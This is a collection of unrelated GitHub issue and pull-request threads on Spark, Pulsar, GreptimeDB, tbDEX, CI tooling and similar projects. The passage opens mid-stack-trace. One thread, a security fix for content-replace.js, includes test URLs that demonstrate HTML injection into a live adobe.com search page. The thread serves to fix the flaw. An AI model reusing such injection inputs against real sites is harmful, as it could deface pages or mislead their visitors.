at com.azure.cosmos.spark.CosmosRowConverter.$anonfun$fromInternalRowToObjectNode$1(CosmosRowConverter.scala:143)
at scala.collection.IndexedSeqOptimized.foreach(IndexedSeqOptimized.scala:36)
To Reproduce
Simply create a dataframe with a column shortType
Code Snippet
In convertSparkDataTypeToJsonNodeNonNull , https://github.com/Azure/azure-sdk-for-java/blob/391fe8e3f008d4785e8191dce4efd59fdccd6ced/sdk/cosmos/azure-cosmos-spark_3-1_2-12/src/main/scala/com/azure/cosmos/spark/CosmosRowConverter.scala#L304
the match clause should include spark shortType on the left, and simply translate into number.
Expected behavior
The library should handle short values
Setup (please complete the following information):

OS: Spark
IDE: Intellij
Library/Libraries: com.azure.cosmos.spark / azure-cosmos-spark_3-1_2-12 / 4.4.2
Java version: 8-11
App Server/Environment: Apache Spark, Databricks
Frameworks: [e.g. Spring Boot, Micronaut, Quarkus, etc]

Information Checklist
Kindly make sure that you have added all the following information above and checkoff the required fields otherwise we will treat the issuer as an incomplete report

[X] Bug Description Added
[X] Repro Steps Added
[X] Setup information Added

I sent out a PR to fix this. https://github.com/Azure/azure-sdk-for-java/pull/26137  - should be included in the next release (any release later than 4.5.2)

Version 4.5.3 adding this support has been published to Maven - it can be found here: https://repo1.maven.org/maven2/com/azure/cosmos/spark/azure-cosmos-spark_3-1_2-12/4.5.3/azure-cosmos-spark_3-1_2-12-4.5.3.jar


[Research] How to get back into GHE

As with CDP we could move back to GHE. Investigate how we can use CircleCI set up within CDP and move back to GHE.

Current state:

CDP allows us to configure easily with a YAML file our CI pipeline, it is similiar to CircleCI, TravisCI in a way that for PR testing you define commands which needs to be executed succesfully.

 Generally it limits any access to internal GHE. Therefore it is not possible to automatically bump our package.json number and do automated npm releases, create git releases with Changelog etc.

A possible solution might be to use a deployment workflow where we create a docker image on aws and access the repository via this image. Issue here is that you can't use this functionality until you have a Zalando-X-Team which is officially registered.


[Task]: Remove Beam Summit banner from Playground

What needs to happen?
Currently Playground has a banner in header that shows the Beam Summit logo with hint. After the Beam Summit event we need to remove it from Playground.
Issue Priority
Priority: 3
Issue Component
Component: beam-playground

.take-issue


Expanded AuditLog information

Added the second factor identifier and the actor commonname.

@rjkip lookie lookie

/giphy great
:+1:


feat(#75): xml() simple implementation

@l3r8yJ take a look, please
closes #75

PR-Codex overview
The focus of this PR is to make the xml() function in Storage thread-safe and prohibit the use of the ? operator.
Detailed summary

Made xml() function return XML string
Updated function to be thread-safe
Added unit test for concurrency cases
Prohibited the use of ? operator

✨ Ask PR-Codex anything about this PR by commenting with /codex {your question}

@l3r8yJ take a look, please

@rultor merge

@rultor merge

@h1alexbel OK, I'll try to merge now. You can check the progress of the merge here

@rultor merge

@h1alexbel Done! FYI, the full log is here (took me 17min)


Questions about Point-to-Point Messaging JSON payloads

Hey there,
Thanks for making all of this public! I have a few questions pertaining to Page 8 under the section heading "Point-to-Point Messaging Scheme" .

The messages exchanged between wallet owners and PFIs that are passed between the Identity Hubs of the participants contain semantically defined objects adherent to standard schemas.

Will these "standard schemas" be hosted publicly?
Are clients responsible for keeping up to date with these schemas as they are updated / changed over time?
Could some module in an Identity Hub listen for particular shema changes to ensure compatibility?
Do the JSON payloads for the messages themselves contain a metadata property describing the shape of the object(s) in the message?

On Page 10 of the paper there is a fantastic diagram outlining a sample messaging / protocol flow.

Are sample JSON payloads corresponding to the messaging occurring in this flow available anywhere?
Are there additional JSON artifacts describing who owns something sitting in an Identity Hub, who has been granted access to it, and what level of access is granted (perhaps CRUD level actions)? Are these stored in the same hub?

Sorry for all of the rambly questions, this has paper piqued my interest in DeID backed messaging experiences. Thanks again for making all of this publicly available.
Cheers,
Sean

Thank you for reading the paper and providing your feedback. Some of these items are good candidates for Discussion threads, which you can start here: https://github.com/TBD54566975/tbdex-whitepaper/discussions/2. Here are some answers/comments on the points you were asking about:

Will these "standard schemas" be hosted publicly?

Yes, definitely, likely either here in these repos or some standards organization.

Are clients responsible for keeping up to date with these schemas as they are updated / changed over time?

Yes, clients would need to track schemas (we hope they don't change too often), as they basically form the basis of the API contract for the protocol. We hope to provide tools to make this easier for implementers.

Could some module in an Identity Hub listen for particular schema changes to ensure compatibility?

Can you provide some additional detail about what exactly you mean by a module listening for schema changes?

Do the JSON payloads for the messages themselves contain a metadata property describing the shape of the object(s) in the message?

Yes, there will be descriptor metadata included.

Are sample JSON payloads corresponding to the messaging occurring in this flow available anywhere?

We don't have these done yet, but are actively working on them and hope to publish a draft of the schema objects soon.

Are there additional JSON artifacts describing who owns something sitting in an Identity Hub, who has been granted access to it, and what level of access is granted (perhaps CRUD level actions)? Are these stored in the same hub?

Yes, the Identity Hub spec/implementation will include these features/details, which you can explore and help define by participating in the DIF Identity Hub project: https://identity.foundation/identity-hub/spec/.


[VULN-27605] Content-replace.js HTML patch

Describe your specific features or fixes
Updates content-replace.js to detect rogue HTML injection.
Resolves: VULN-27605

Test URLs:

Before: https://www.adobe.com/express/templates/search?tasks=''&phformat=2:3&topics=

Html injection by Niko

After: https://content-replace-vuln-fix--express--adobecom.hlx.page/express/templates/search?tasks=''&phformat=2:3&topics=

Html injection by Niko

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 36.65%. Comparing base (76b319c) to head (4311efc).

Additional details and impacted files
@@            Coverage Diff             @@
##            stage     #757      +/-   ##
==========================================
- Coverage   37.14%   36.65%   -0.50%
==========================================
  Files         131      132       +1
  Lines       25639    25750     +111
==========================================
- Hits         9524     9438      -86
- Misses      16115    16312     +197

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Change sass variable names

I think the current variables have a too global name, it might be better to prefix them with cropper- or something to avoid collisions and making it clearer when overwriting.
(I'm willing to create a PR for this if needed)

I think it is not necessary to do this as there are only a few variables.


Filter by pr title + pr number

Using telescopes' picker, it would eb nice to be able to filter by pr titles in addition to pr numbers

thanks for the suggestion @tami5, maybe you or @Conni2461 can send a PR fixing it. Not sure how to tell telescope picker what columns should be used for filtering.

thanks for the suggestion @tami5, maybe you or @Conni2461 can send a PR fixing it. Not sure how to tell telescope picker what columns should be used for filtering.

Sure thing @pwntester

Sure thing @pwntester

@tami5 can you point me to the telescope docs or example where I can see how to implement this?

@tami5 can you point me to the telescope docs or example where I can see how to implement this?

hey @pwntester hopefully tomorrow I will take a look and open a pr, but from a review of telescope buffers picker, change the sorter to sorter = conf.generic_sorter(opts) might solve this

hey @pwntester hopefully tomorrow I will take a look and open a pr, but from a review of telescope buffers picker, change the sorter to sorter = conf.generic_sorter(opts) might solve this

Oh now i see what tami meant 😆
I just didn't get it 4 days ago.
Changing the sorter doesn't change anything really. The problem is in your entry_makers like gen_from_issue. We are sorting over the ordinal. So if ordinal = number we are fuzzy finding over the issue numbers. If ordinal = title we are fuzzy finding over the titles. Most of the times we are doing something like this: ordinal = number .. ' ' .. title. E.g. for `reqiure'telescope.builtin'.buffers

Oh now i see what tami meant 😆
I just didn't get it 4 days ago.
Changing the sorter doesn't change anything really. The problem is in your entry_makers like gen_from_issue. We are sorting over the ordinal. So if ordinal = number we are fuzzy finding over the issue numbers. If ordinal = title we are fuzzy finding over the titles. Most of the times we are doing something like this: ordinal = number .. ' ' .. title. E.g. for `reqiure'telescope.builtin'.buffers

thanks @Conni2461 and @tami5! I think it should be fixed in #56. Will leave this open until this PR gets merged though

thanks @Conni2461 and @tami5! I think it should be fixed in #56. Will leave this open until this PR gets merged though


Deployment fails with multiple targets

When using multiple targets, the deployment process commits an empty repository back to the deployment environment.
Likely due to the deployed files not being properly passed to the chained targets.

Adding this.push(file) to the through function should be able to resolve this.


Testers wanted: v3.8.0

I've just released v3.8.0 release candidate 1. There's a lot of cool stuff in here that I'd appreciate people trying out. Specifically, I'd like you to try out the new max_in_flight fields added to most output types.
You should see a significant throughput increase, let me know if you come across issues or have any thoughts.

Newer release candidate: https://github.com/Jeffail/benthos/releases/tag/v3.8.0-rc2


batch_first flag

Can I add a batch_first flag? And how?

hi @nankeqin, there is no batch_first option in SRU forward.
You can add a wrapper over SRU module with this option, or transpose your model input into length_first before calling SRU.


[Container Registry] ACR list_repositories pageable

/azp run python - containerregistry - ci

/check-enforcer evaluate

/azp run python - containerregistry - ci

I don't know the story behind the gen code copy, but assume there is an issue open for it? LGTM

@kristapratico yes #17817 . The gen code copy had to happen because the link parsing isn't supported by the current autorest, but is in the works.

/check-enforcer evaluate


UDF & UDAF functions

What type of enhancement is this?
API improvement
What does the enhancement do?
Datafusion built-in functions
Since GreptimeDB's query engine is built based on Apache Arrow DataFusion, GreptimeDB inherits all built-in functions in DataFusion. These functions include:
Aggregate functions: such as COUNT(), SUM(), MIN(), MAX(), etc. For a detailed list, please refer to Aggregate Functions
Scalar functions: such as ABS(), COS(), FLOOR(), etc. For a detailed list, please refer to Scalar Functions
Custom functions
We already implemented some custom functions in
https://github.com/GreptimeTeam/greptimedb/blob/c48067f88d31c28021fcd5560eb8c46d3e2b3940/src/common/function/src/scalars/function_registry.rs#L73-L75
But still missing a lot of useful functions such as Date Functions, Date Format functions, Time-Series Utility Functions and other Utility functions etc.
So let's create a tracking issue for them:

[ ] Date and Time Functions, duckdb,questdb and influxdb for example.
[ ] Date Format Funcitons, duckdb
[ ] Utility Functions for admin etc. duckdb
[ ] Time-Series Utility Functions, such as gafill, percentile and histogram related functions,  locf etc.
[ ] Predicator
[ ] Abnormal detector

Ref

how-to-write-aggregate-function

Implementation challenges
No response

@killme2008

Date and Time Functions, duckdb,questdb and influxdb for example.

I'd like to implement some of the features for example:

greatest(date, date)
to_timezone
current_schema()

By the way, does greptimedb have plans to support something statistical in sql, like so:

inner_product(column1, column2): UDAF
covariance(column1, column2): UDAF

@NiwakaDev That would be cool,thanks a lot.
to_timezone looks like it's implemented in #2029

By the way, does greptimedb have plans to support something statistical in sql, like so:

Of course, we want to support these functions.

@killme2008 May you give a revise what the remaining UDF/UDAF listed above is still to-be-implemented? They should be good first issue to follow.

Closed as stale.
We can create a new issue with concrete list of UDF/UDAF to support so that certain contributions can be made.
Vague names of functions are hard to be understood and picked up.


[Feature] GlobalVariable::setInitializer support

GlobalVariable::setInitializer is very helpful when the global constants need to be predeclared, but can only be computed later.

well, I will add this method this week.

Thank you!

I have added this method in v0.4.2.


[feat] PIP-352: Event time based compaction

Implementation for PIP-352: Event time based topic compactor

One of the challenges with event time order compacting is that it would require some additional configuration and logic for the acceptable time skew (late arrival of events). @marekczajkowski Any thoughts on how to solve that challenge?

One of the challenges with event time order compacting is that it would require some additional configuration and logic for the acceptable time skew (late arrival of events). @marekczajkowski Any thoughts on how to solve that challenge?

I might be overthinking this. Perhaps it doesn't matter that much. :)

One of the challenges with event time order compacting is that it would require some additional configuration and logic for the acceptable time skew (late arrival of events). @marekczajkowski Any thoughts on how to solve that challenge?

Can you explain what you mean by that ? I don't quite get it

One of the challenges with event time order compacting is that it would require some additional configuration and logic for the acceptable time skew (late arrival of events). @marekczajkowski Any thoughts on how to solve that challenge?

Can you explain what you mean by that ? I don't quite get it

I think I just wasn't thinking through it. It's not a problem since the last message with the most recent event time "wins". It's eventually consistent.

@marekczajkowski Do you have tests for the new behavior? How about the solution for configuring the compactor?

@marekczajkowski Do you have tests for the new behavior? How about the solution for configuring the compactor?

I have added unit tests. As for configuring the compactor there is no new mechanism. It uses existing 'compactionServiceFactoryClassName' property name to switch the factory that creates compactor

I have added unit tests. As for configuring the compactor there is no new mechanism. It uses existing 'compactionServiceFactoryClassName' property name to switch the factory that creates compactor

Thanks. The PR itself is ok.
Configuring the compactor will require some updates in documentation. It would be great if our documention presents this feature, the purpose of it and shows how to enable it. I guess the minimal approach would be to add the configuration key to broker.conf and standalone.conf and document the configuration key in the comments.

I have added unit tests. As for configuring the compactor there is no new mechanism. It uses existing 'compactionServiceFactoryClassName' property name to switch the factory that creates compactor

Thanks. The PR itself is ok.
Configuring the compactor will require some updates in documentation. It would be great if our documention presents this feature, the purpose of it and shows how to enable it. I guess the minimal approach would be to add the configuration key to broker.conf and standalone.conf and document the configuration key in the comments.

Sure. Both configs updated with documenting comments

/pulsarbot rerun-failure-checks

Codecov Report
Attention: Patch coverage is 70.55394% with 101 lines in your changes missing coverage. Please review.

Project coverage is 74.53%. Comparing base (bbc6224) to head (e0a1c70).
Report is 542 commits behind head on master.

Files
Patch %
Lines

...e/pulsar/compaction/AbstractTwoPhaseCompactor.java
76.88%
37 Missing and 12 partials :warning:

...che/pulsar/compaction/EventTimeOrderCompactor.java
36.76%
35 Missing and 8 partials :warning:

.../compaction/EventTimeCompactionServiceFactory.java
0.00%
5 Missing :warning:

...he/pulsar/compaction/PublishingOrderCompactor.java
93.18%
2 Missing and 1 partial :warning:

...g/apache/pulsar/client/impl/RawBatchConverter.java
90.90%
0 Missing and 1 partial :warning:

Additional details and impacted files

@@             Coverage Diff              @@
##             master   #22517      +/-   ##
============================================
+ Coverage     73.57%   74.53%   +0.96%
- Complexity    32624    33654    +1030
============================================
  Files          1877     1924      +47
  Lines        139502   144548    +5046
  Branches      15299    15822     +523
============================================
+ Hits         102638   107743    +5105
+ Misses        28908    28543     -365
- Partials       7956     8262     +306

Flag
Coverage Δ

inttests
27.50% <41.98%> (+2.92%)
:arrow_up:

systests
24.70% <31.19%> (+0.37%)
:arrow_up:

unittests
73.89% <70.26%> (+1.05%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Files
Coverage Δ

...va/org/apache/pulsar/compaction/CompactorTool.java
68.91% <100.00%> (ø)

...pache/pulsar/compaction/MessageCompactionData.java
100.00% <100.00%> (ø)

...sar/compaction/PulsarCompactionServiceFactory.java
82.60% <100.00%> (ø)

.../pulsar/compaction/StrategicTwoPhaseCompactor.java
73.72% <ø> (-2.97%)
:arrow_down:

...g/apache/pulsar/client/impl/RawBatchConverter.java
94.25% <90.90%> (+0.35%)
:arrow_up:

...he/pulsar/compaction/PublishingOrderCompactor.java
93.18% <93.18%> (ø)

.../compaction/EventTimeCompactionServiceFactory.java
0.00% <0.00%> (ø)

...che/pulsar/compaction/EventTimeOrderCompactor.java
36.76% <36.76%> (ø)

...e/pulsar/compaction/AbstractTwoPhaseCompactor.java
76.88% <76.88%> (ø)

... and 496 files with indirect coverage changes


[release-1.7] Large index or -1 inserts at the end of list

This is an automated cherry-pick of #26694

@ostromart Could you please add a release note entry for this fix?

Chat with @ostromart offline, this PR does not need a release note.

@istio-testing: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

unit-tests_istio_release-1.7
d577a24922c544d334fc24b1e5618141339a2ebc
link
/test unit-tests_istio_release-1.7

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


feat: add card layout to a11y status component

Closes https://github.com/carbon-design-system/carbon-website/issues/3847
Closes https://github.com/carbon-design-system/carbon-website/issues/3850
Add Ally status to Usage component pages
Changelog

Refactored and cleaned up some code in AllyStatus component.
Added layout prop to display either card or table view
Reorder Usage pages to move demo to the top and add the Ally status cards below

Review
Component Usage pages
https://carbondesignsystem-7uo0s6vpp-carbon-design-system.vercel.app/components/breadcrumb/usage/

Also ensure that all previous a11y status work (on overview page and component a11y pages) is still working correctly.

Just pushed an update for those ResourceCards to use subTitle instead of title (14px) @thyhmdo


Explicit public surface definition

We should define and document our public contract. So that customers know how our public surface is evolved and for us to guide that evolution.
We should define and publish:

What API changes are allowed in what package.
How do we mark APIs as public, "public but for internal purpose", experimental etc.
Which stateful parts, like deployed resources are considered contract and which not. For example, CFN outputs.

In addition, we should implement automated checks to enforce that publicly facing elements are properly documented and annotated.

can i help?


test.yml: check curl status for HTTP error

By default curl doesn't return a non-zero exit code when it receives a HTTP error, e.g. even if http://binderhub/health returns a 500 error curl will exit with 0.
--fail-with-body should ensure it exits with an error code, whilst still showing the retrieved content (-f exits with an error code but doesn't display the content).

It makes more sense to bundle this with https://github.com/jupyterhub/binderhub/pull/1683